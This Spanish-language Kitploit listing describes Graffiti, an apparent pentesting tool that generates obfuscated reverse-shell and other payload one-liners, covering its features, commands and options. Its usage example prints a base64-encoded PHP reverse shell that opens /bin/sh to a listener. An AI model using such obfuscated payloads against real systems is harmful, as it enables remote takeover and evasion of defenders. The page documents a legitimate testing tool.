Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Graffiti — Una herramienta para generar comandos de una línea ofuscados para ayudar en pruebas de penetración. | Kitploit
Herramientas/GitHubGitHub/ekultek/graffiti
Generación de PayloadsShellcodePruebas de PenetraciónDesarrollo de Payloads
GitHubekultek/graffiti

Graffiti

Una herramienta para generar comandos de una línea ofuscados para ayudar en pruebas de penetración.

Ver Repositorio
1804483hace 7 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

graffitibanner

NOTA: Nunca subas payloads a verificadores en línea

Graffiti es una herramienta para generar oneliners ofuscados para ayudar en situaciones de pruebas de penetración. Graffiti acepta los siguientes lenguajes para codificar:

  • Python
  • Perl
  • Batch
  • Powershell
  • PHP
  • Bash

Graffiti también aceptará un lenguaje que no esté actualmente en la lista y almacenará el oneliner en una base de datos.

Características

Graffiti viene completo con una base de datos que insertará cada payload codificado en ella, con el fin de permitir a los usuarios finales ver payloads ya creados para uso futuro. Los payloads se pueden codificar usando las siguientes técnicas:

  • Xor
  • Base64
  • Hex
  • ROT13
  • Raw

Algunas características de Graffiti incluyen:

  • Acceso directo desde la terminal, con la capacidad de ejecutar comandos externos
  • Capacidad de crear tus propios archivos JSON de payload
  • Capacidad de ver payloads en caché dentro de la base de datos
  • Capacidad de ejecutar la base de datos en memoria para una eliminación rápida
  • Historial de terminal y guardado del historial de terminal
  • Auto completado por tabulador dentro de la terminal
  • Capacidad de borrar de forma segura los archivos de historial y el archivo de base de datos
  • Múltiples técnicas de codificación como se mencionó anteriormente

Uso

Graffiti viene con una terminal integrada. Cuando no pasas ninguna bandera al programa, se abre la terminal. La terminal tiene historial, capacidad de ejecutar comandos externos y sus propios comandos internos. Para obtener ayuda, solo tienes que escribir help o ?:


  ________              _____  _____.__  __  .__ 
 /  _____/___________ _/ ____\/ ____\__|/  |_|__|
/   \  __\_  __ \__  \\   __\\   __\|  \   __\  |
\    \_\  \  | \// __ \|  |   |  |  |  ||  | |  |
 \______  /__|  (____  /__|   |__|  |__||__| |__|
        \/           \/           
 v(0.1)               

no se han pasado argumentos, abriendo terminal escribe `help/?` para obtener ayuda, todos los comandos que se encuentran dentro de `/bin` están disponibles en la terminal
root@graffiti:~/graffiti# ?

 Comando                                  Descripción
---------                                --------------
 help/?                                  Muestra esta ayuda
 external                                Lista los comandos externos disponibles
 cached                                  Muestra todos los payloads que ya están en la base de datos
 list/show                               Lista todos los payloads disponibles
 search <frase>                          Busca un payload específico
 use <payload> <codificador>             Usa este payload y codifícalo usando un codificador específico
 info <payload>                          Obtén información sobre un payload específico
 check                                   Buscar actualizaciones
 history                                 Muestra el historial de comandos
 exit/quit                               Sale de la terminal y de la sesión en ejecución
 encode <tipo-de-script> <codificador>   Codifica un payload proporcionado

root@graffiti:~/graffiti# help

 Comando                                  Descripción
---------                                --------------
 help/?                                  Muestra esta ayuda
 external                                Lista los comandos externos disponibles
 cached                                  Muestra todos los payloads que ya están en la base de datos
 list/show                               Lista todos los payloads disponibles
 search <frase>                          Busca un payload específico
 use <payload> <codificador>             Usa este payload y codifícalo usando un codificador específico
 info <payload>                          Obtén información sobre un payload específico
 check                                   Buscar actualizaciones
 history                                 Muestra el historial de comandos
 exit/quit                               Sale de la terminal y de la sesión en ejecución
 encode <tipo-de-script> <codificador>   Codifica un payload proporcionado

Graffiti también viene con argumentos de línea de comandos para cuando necesites un payload codificado rápidamente:

usage: graffiti.py [-h] [-c CODEC] [-p PAYLOAD]
                   [--create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS]
                   [-l]
                   [-P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]]
                   [-lH LISTENING-ADDRESS] [-lP LISTENING-PORT] [-u URL] [-vC]
                   [-H] [-W] [--memory] [-mC COMMAND [COMMAND ...]]

optional arguments:
  -h, --help            show this help message and exit
  -c CODEC, --codec CODEC
                        specify an encoding technique (*default=None)
  -p PAYLOAD, --payload PAYLOAD
                        pass the path to a payload to use (*default=None)
  --create PAYLOAD SCRIPT-TYPE PAYLOAD-TYPE DESCRIPTION OS
                        create a payload file and store it inside of
                        ./etc/payloads (*default=None)
  -l, --list            list all available payloads by path (*default=False)
  -P [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]], --personal-payload [PAYLOAD [SCRIPT-TYPE,PAYLOAD-TYPE,DESCRIPTION ...]]
                        pass your own personal payload to use for the encoding
                        (*default=None)
  -lH LISTENING-ADDRESS, --lhost LISTENING-ADDRESS
                        pass a listening address to use for the payload (if
                        needed) (*default=None)
  -lP LISTENING-PORT, --lport LISTENING-PORT
                        pass a listening port to use for the payload (if
                        needed) (*default=None)
  -u URL, --url URL     pass a URL if needed by your payload (*default=None)
  -vC, --view-cached    view the cached data already present inside of the
                        database
  -H, --no-history      do not store the command history (*default=True)
  -W, --wipe            wipe the database and the history (*default=False)
  --memory              initialize the database into memory instead of a .db
                        file (*default=False)
  -mC COMMAND [COMMAND ...], --more-commands COMMAND [COMMAND ...]
                        pass more external commands, this will allow them to
                        be accessed inside of the terminal commands must be in
                        your PATH (*default=None)

Codificar un payload es tan simple como esto:

root@graffiti:~/graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
Encoded Payload:
--------------------------------------------------

php -r 'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'

--------------------------------------------------

Una demostración de Graffiti se puede encontrar aquí:

to_video

Instalación

En cualquier sistema Linux, Mac o Windows, Graffiti debería funcionar sin problemas sin necesidad de instalar paquetes externos. Si deseas instalar Graffiti como ejecutable en tu sistema (debes estar ejecutando Linux o Mac para que funcione correctamente), solo tienes que hacer lo siguiente:

./install.sh

Esto instalará Graffiti en tu sistema y te permitirá ejecutarlo desde cualquier lugar.

Errores y problemas

Si encuentras un error o problema, por favor crea un issue con detalles aquí y ¡gracias de antemano!

Descargar herramienta